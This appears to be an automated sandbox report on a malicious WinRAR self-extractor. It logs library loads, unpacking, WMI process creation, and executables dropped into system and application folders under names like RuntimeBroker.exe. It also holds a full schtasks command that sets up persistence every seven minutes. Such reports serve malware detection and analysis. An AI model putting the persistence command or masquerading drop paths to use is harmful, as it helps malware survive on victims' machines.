Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: mscoree.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: apphelp.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: kernel.appcore.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: version.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: uxtheme.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: windows.storage.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: wldp.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: profapi.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: cryptsp.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: rsaenh.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: cryptbase.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: sspicli.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: amsi.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: userenv.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: wbemcomn.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: iphlpapi.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: dnsapi.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: dhcpcsvc6.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: dhcpcsvc.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: winnsi.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: rasapi32.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: rasman.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: rtutils.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: mswsock.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: winhttp.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: rasadhlp.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: mscoree.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: kernel.appcore.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: version.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: uxtheme.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: windows.storage.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: wldp.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: profapi.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: cryptsp.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: rsaenh.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: cryptbase.dll
Source: C:\providerReviewperfsvc\Idle.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Windows Photo Viewer\en-GB\76f3bf53489b45	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Windows Media Player\76f3bf53489b45	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\76f3bf53489b45	Jump to behavior

Source: jx2eCe6ymR.exe

Static file information: File size 2793785 > 1048576

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: jx2eCe6ymR.exe, jx2eCe6ymR.exe, 00000000.00000002.2100774612.00000000002F1000.00000040.00000001.01000000.00000003.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

Unpacked PE file: 0.2.jx2eCe6ymR.exe.2f0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;Unknown_Section5:EW;.rsrc:EW;Unknown_Section7:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:W;Unknown_Section4:R;Unknown_Section5:R;.rsrc:EW;Unknown_Section7:EW;.data:EW;

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

File created: C:\providerReviewperfsvc\__tmp_rar_sfx_access_check_5363828

Jump to behavior

Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FD104 push ecx; mov dword ptr [esp], edx	0_2_003FD109
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F128C push 003F16D8h; ret	0_2_003F16D0
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FD32A push ecx; mov dword ptr [esp], edx	0_2_003FD331
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FA3A0 push 003FA400h; ret	0_2_003FA3F8
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E93EA push 003E9418h; ret	0_2_003E9410
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E9424 push 003E9450h; ret	0_2_003E9448
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E945C push 003E9488h; ret	0_2_003E9480
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FA456 push 003FA5A4h; ret	0_2_003FA59C
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FB454 push 003FB4A1h; ret	0_2_003FB499
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FD448 push ecx; mov dword ptr [esp], edx	0_2_003FD44D
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E9494 push 003E94C0h; ret	0_2_003E94B8
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FD48C push ecx; mov dword ptr [esp], edx	0_2_003FD491
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E94F8 push 003E952Ch; ret	0_2_003E9524
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F9536 push 003F95B5h; ret	0_2_003F95AD
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E75F0 push 003E7641h; ret	0_2_003E7639
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F862C push 003F86A2h; ret	0_2_003F869A
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F86A4 push 003F874Ch; ret	0_2_003F8744
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FA684 push ecx; mov dword ptr [esp], ecx	0_2_003FA687
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F16DA push 003F174Bh; ret	0_2_003F1743
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F874E push 003F879Ch; ret	0_2_003F8794
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F9804 push 003F9830h; ret	0_2_003F9828
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F185E push 003F188Ch; ret	0_2_003F1884
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E78AA push 003E78D8h; ret	0_2_003E78D0
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FA8F4 push ecx; mov dword ptr [esp], ecx	0_2_003FA8F6
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E7968 push 003E7994h; ret	0_2_003E798C
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E8A48 push ecx; mov dword ptr [esp], eax	0_2_003E8A49
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E8CF2 push 003E8D20h; ret	0_2_003E8D18
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003E8D2C push 003E8D58h; ret	0_2_003E8D50
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003F0D60 push ecx; mov dword ptr [esp], edx	0_2_003F0D65
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FCEA0 push ecx; mov dword ptr [esp], eax	0_2_003FCEA1
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_003FCEDE pushad ; iretd	0_2_003FCF15

Source: jx2eCe6ymR.exe	Static PE information: section name: entropy: 7.997999837838605
Source: jx2eCe6ymR.exe	Static PE information: section name: entropy: 7.9809272065343855
Source: jx2eCe6ymR.exe	Static PE information: section name: entropy: 7.762099562039917
Source: jx2eCe6ymR.exe	Static PE information: section name: entropy: 7.946596284771744
Source: jx2eCe6ymR.exe	Static PE information: section name: entropy: 7.824543447059476
Source: jx2eCe6ymR.exe	Static PE information: section name: .data entropy: 7.979622857766893
Source: hyperIntoruntime.exe.0.dr	Static PE information: section name: .text entropy: 6.982775055326147
Source: nEuTyBtWAvjkYQrIMhtZWE.exe.5.dr	Static PE information: section name: .text entropy: 6.982775055326147
Source: RuntimeBroker.exe.5.dr	Static PE information: section name: .text entropy: 6.982775055326147
Source: nEuTyBtWAvjkYQrIMhtZWE.exe0.5.dr	Static PE information: section name: .text entropy: 6.982775055326147
Source: backgroundTaskHost.exe.5.dr	Static PE information: section name: .text entropy: 6.982775055326147
Source: RuntimeBroker.exe0.5.dr	Static PE information: section name: .text entropy: 6.982775055326147

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executable to a common third party application directory

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe

File written: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe

Jump to behavior

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Users\Default\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Recovery\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	File created: C:\providerReviewperfsvc\hyperIntoruntime.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\ProgramData\USOShared\RuntimeBroker.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Windows\twain_32\backgroundTaskHost.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\providerReviewperfsvc\Idle.exe	Jump to dropped file

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe

File created: C:\ProgramData\USOShared\RuntimeBroker.exe

Jump to dropped file

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe			Jump to dropped file
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Windows\twain_32\backgroundTaskHost.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
